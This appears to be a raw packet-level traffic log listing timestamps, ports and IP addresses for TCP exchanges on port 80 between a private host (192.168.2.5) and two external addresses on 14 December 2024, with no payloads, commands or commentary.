Dec 14, 2024 14:56:32.028093100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.029078007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.029136896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.029165983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.029207945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.030191898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.030208111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.030797005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.030812025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.031305075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.031416893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.032416105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.032484055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.033387899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.033555984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.033580065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.033612967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.034681082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.034719944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.034749985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.034799099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.035799980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.035945892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.035981894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.036860943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.036992073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.037045002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.037081003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.037981033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.038023949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.038134098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.038657904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.039109945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.039151907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.039197922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.039567947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.040199995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.040290117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.040326118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.041367054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.041404009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.041465044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.041533947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.042551994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.042587042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.042589903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.042933941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.056952000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.056989908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.057087898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.057123899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.057742119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.057785988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.057866096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.057940006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.059057951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.059098005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.059245110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.059391022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.060720921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.060832977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.060868025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.061341047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.061413050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.061467886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.061508894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.062494040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.062515020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.062534094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.062547922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.063179970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.063214064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.063273907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.063534021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.064116955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.064162016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.064204931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.064245939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.064948082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.064986944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.065016985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.065053940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.065898895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.065946102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.065956116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.065995932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.066683054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.066719055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.066745043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.066992044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.067564964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.067604065 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.067665100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.067708015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.068614960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.068659067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.068686962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.068721056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.069755077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.069788933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.069864988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.069895983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.070871115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.070908070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.070988894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.071024895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.071943998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.072030067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.072061062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.072099924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.073092937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.073129892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.073201895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.073241949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.074219942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.074254036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.074414015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.074486017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.075457096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.075494051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.075572968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.075680971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.076579094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.076613903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.076659918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.076699972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.077536106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.077583075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.077649117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.077783108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.078655005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.078691959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.078773022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.078857899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.079766989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.079806089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.079857111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.079925060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.080862999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.080898046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.080965042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.081121922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.117640018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.123977900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.124023914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.124093056 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.124591112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.124710083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.124769926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.125952959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.126039028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.126112938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.127152920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.127240896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.127300978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.136956930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137017012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137026072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137074947 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137110949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137164116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137173891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137183905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137234926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137259007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137340069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137348890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137358904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137384892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137402058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137412071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137413025 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137423038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137434006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137447119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137465954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.137696981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137706995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.137778044 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.138161898 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.138266087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.138547897 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.139398098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.139517069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.139655113 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.140604973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.140763044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.140815973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.141841888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.141942978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.142000914 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.143102884 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.143172026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.143280983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.144318104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.144459009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.145155907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.145539999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.145632982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.145737886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.146723032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.146853924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.146915913 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.148029089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.148188114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.148466110 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.149219990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.149321079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.149544954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.150401115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.150458097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.150516033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.151689053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.151741028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.151802063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.152874947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.152968884 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.153243065 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.154071093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.154189110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.154481888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.155354023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.155431032 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.155599117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.156527042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.156615019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.156685114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.157782078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.157891989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.157944918 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.158973932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.159085989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.159168959 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.160197973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.160301924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.160358906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.161433935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.161531925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.161585093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.162636995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.162744045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.162839890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.163875103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.164000988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.164223909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.165119886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.165231943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.165394068 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.166356087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.166467905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.166547060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.167583942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.167614937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.167725086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.168836117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.168942928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.168997049 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.170033932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.170186996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.170484066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.171211004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.171323061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.171533108 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.172466040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.172521114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.172887087 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.173671961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.173796892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.174897909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.174963951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.175000906 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.176160097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.176239014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.176245928 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.177278042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.177334070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.177351952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.177423000 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.178615093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.178726912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.178874016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.179806948 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.179904938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.179970980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.181039095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.181154966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.181226015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.182215929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.182312012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.182526112 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.183440924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.183553934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.183617115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.184747934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.184847116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.185003042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.185916901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.186028957 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.186096907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.187107086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.187220097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.187320948 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.188324928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.203006983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.203016996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.203078985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.203489065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.203550100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.203583002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.203717947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.204612017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.204674959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.204698086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.204732895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.205719948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.205785990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.205800056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.205833912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.206861019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.206923008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.206952095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.206984997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.208013058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.208064079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.208086014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.208118916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.209053040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.209108114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.209137917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.209177017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.210186005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.210237980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.210268974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.210305929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.211301088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.211389065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.211441040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.212497950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.212559938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.212621927 CET	80	49876	31.41.244.11	192.168.2.5
